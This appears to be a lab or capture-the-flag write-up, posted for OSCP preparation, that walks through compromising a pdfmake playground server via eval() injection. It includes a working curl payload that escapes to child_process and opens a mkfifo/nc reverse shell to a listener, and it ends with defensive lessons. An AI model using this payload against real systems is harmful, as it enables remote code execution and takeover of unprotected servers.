Preparing for OSCP | Sharing Practical Labs & Real-World Attack Analysis

Step 1: Reconnaissance

Nmap Scan

nmap -sCV -A โ€” min-rate 1000 192.168.224.42

None

Two ports were found:

โ€ข 22/tcp โ€” OpenSSH 8.2p1 Ubuntu

โ€ข 1234/tcp โ€” Node.js Express framework running pdfmake playground

Web Enumeration

feroxbuster -u http://192.168.224.42:1234 -w /usr/share/wordlists/dirb/common.txt

None

The web interface revealed a pdfmake playground โ€” a Node.js Express app that generates PDFs from JavaScript code. Checking index.html revealed the API endpoint: $http.post('/pdf', { content: content })

None

Step 2: Vulnerability Analysis

Discovering eval() Injection

Sending a POST request to /pdf endpoint with plain text content revealed a critical error in the stack trace:

curl -s -X POST http://192.168.224.42:1234/pdf -H "Content-Type: application/json" -d '{"content":"test"}'

None

Vulnerable Code (server.js)

None

Sandbox Escape via global.process

Although eval() executes our code, require() is not available in the eval context. We bypass this by accessing Node.js internals through the global object:

None

Step 3: Exploitation

Step 3.1 โ€” Start Netcat Listener

nc -lvnp 4444

None

Step 3.2 โ€” Send JS Injection Payload

curl -s -X POST http://192.168.224.42:1234/pdf -H "Content-Type: application/json" \

  • d '{"content": "var dd = {content: [\"x\"]}; global.process.mainModule.require(\"child_process\").exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.45.186 4444 >/tmp/f\")"}'
None

Step 3.3 โ€” Shell Received

None

The pdfmake Node.js server was running as root. The JavaScript injection via eval() gave us direct OS command execution, and the FIFO reverse shell connected back to our listener immediately.

Step 4: Capture Flag

cat /root/proof.txt

None

Key Learnings

โ€ข eval() Injection โ€” The pdfmake server passed user-supplied content directly to eval() without any sanitization. eval() should never be used on untrusted input as it executes arbitrary JavaScript code.

โ€ข Sandbox Escape โ€” Even when require() is unavailable in the eval context, Node.js internals can be accessed via global.process.mainModule.require() to escape the sandbox and execute OS commands.

โ€ข Information Disclosure โ€” Stack traces in error responses revealed the exact file path, line number, and that eval() was being used. Error messages should never be exposed to users in production.

โ€ข Root Process โ€” The Node.js Express server was running as root. Services should always run with the least privilege possible to limit the impact of exploitation.

  • No Authentication โ€” The /pdf endpoint accepted and executed arbitrary JavaScript from any unauthenticated user. Development tools and playgrounds should never be exposed to production networks.

References

โ€ข pdfmake: https://github.com/bpampuch/pdfmake

โ€ข Node.js eval() risks: https://nodejs.org/en/knowledge/getting-started/what-is-node-js/

โ€ข child_process module: https://nodejs.org/api/child_process.html

โ€ข OWASP Code Injection: https://owasp.org/www-community/attacks/Code_Injection